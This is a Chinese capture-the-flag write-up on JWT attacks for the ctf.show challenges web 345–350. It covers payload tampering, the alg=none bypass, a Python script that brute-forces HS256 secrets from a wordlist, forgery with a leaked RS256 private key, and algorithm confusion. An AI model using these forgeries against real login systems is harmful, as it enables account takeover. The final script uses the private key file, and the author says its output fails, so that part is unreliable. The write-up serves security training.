文章目录
- web 345
- web 346——算法改为None
- web 347-348——爆破密匙
- web 349——非对称加密算法RS256私钥泄漏
- web 350——泄漏公钥、非对称密码算法改为对称密码算法
web 345
抓个包,可以看到cookie部分使用JWT(Json Web Token)。
JWT实际上是一个字符串,由三部分构成:
Header
、Paylaod
、Signature
,各部分之间分别用Base64
编码以后用.
进行拼接。
Header
部分主要承载两部分的信息:声明类型(JWT类型);声明加密算法,一般是RS256(非对称加密)和HS256(对称加密);Payload
部分主要包含服务器所需的信息,如
iss (issuer)
:签发人exp (expiration time)
:过期时间sub (subject)
:主题aud (audience)
:受众nbf (Not Before)
:生效时间iat (Issued At)
:签发时间jti (JWT ID)
:编号Signature
部分是一个签名信息,需要base64加密后的header和base64加密后的payload使用.连接组成的字符串,然后通过header中声明的加密方式进行加盐secret组合加密。base64UrlEncode
就是base64编码。// javascript var encodedString = base64UrlEncode(header) + '.' + base64UrlEncode(payload); var signature = HMACSHA256(encodedString, 'secret');
先用base64将JWT进行解密,修改user
为admin,再用base64进行加密。再访问https://2be66481-e498-479d-8e2f-5f899b4f227a.challenge.ctf.show/admin/
web 346——算法改为None
这里使用了HS256加密方式,方法:alg字段改为none
,sub改为admin
,对每一段分别用base64进行加密,然后用.
拼接起来,注意最后一个点不能少。
web 347-348——爆破密匙
都可以用jwt-cracker进行爆破,获取密匙。或者用脚本跑。
import jwt
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY2NzgyNDA3NiwiZXhwIjoxNjY3ODMxMjc2LCJuYmYiOjE2Njc4MjQwNzYsInN1YiI6InVzZXIiLCJqdGkiOiJjMDlkNDc4M2U0NzhkZWI5ZDAyOTI2ZGI5OThhNTJkYiJ9.qGhObQujOnXKBkb8IM2_uLroZZRgY6Voty_-vPQUqUM" # 题目中的 token
password_file = "/Users/meng/password.txt" # 密码文件
with open(password_file,'rb') as file:
for line in file:
line = line.strip() # 去除每行后面的换行
try:
jwt.decode(token, verify=True, key=line, algorithms="HS256") # 设置编码方式为 HS256
print('key: ', line.decode('ascii'))
break
except (jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError
, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError,
jwt.exceptions.ImmatureSignatureError): # 出现这些错误,虽然表示过期之类的错误,但是密钥是正确的
print("key: ", line.decode('ascii'))
break
except jwt.exceptions.InvalidSignatureError: # 签名错误则表示密钥不正确
print("Failed: ", line.decode('ascii'))
continue
else:
print("Not Found.")
web 349——非对称加密算法RS256私钥泄漏
根据app.js
提示,大致意思就是访问https://ctf.show/files/c75978a9951e4ba150ed34b0ea8f9d3d
,服务器会使用RS256算法私钥加密一段字符串作为cookie(私钥用来签名),然后发给客户端。客户端拿着服务端给的cookie再次访问服务端,服务端会使用RS256公钥进行解密(公钥验签)
先访问/private.key
,下载私钥,然后使用下面的脚本生成一个JWT。
import jwt
private = open('E://private.key', 'r').read()
header = {
"alg": "RS256",
"typ": "JWT"
}
payload={
"user":"admin",
"iat": 1714555712
}
token = jwt.encode(
payload=payload,
key=private, # 密钥
algorithm="RS256", # 加密方式
headers=header
)
print(token)
注意:payload的相关参数,可以先解密服务器发的JWT,再自行补充。
再使用POST方法请求https://ctf.show/files/c75978a9951e4ba150ed34b0ea8f9d3d
。
web 350——泄漏公钥、非对称密码算法改为对称密码算法
如果公钥泄露,服务端不对加密算法进行验证的话,通过公钥和改算法类型,也可以伪造JWT。
import jwt
private = open('E://private.key', 'r').read()
header = {
"alg": "HS256",
"typ": "JWT"
}
payload={
"user":"admin",
"iat": 1714555712
}
token = jwt.encode(
payload=payload,
key=private, # 密钥
algorithm="HS256", # 加密方式
headers=header
)
print(token)
python生成的JWT,用不了,但是思路就是这样。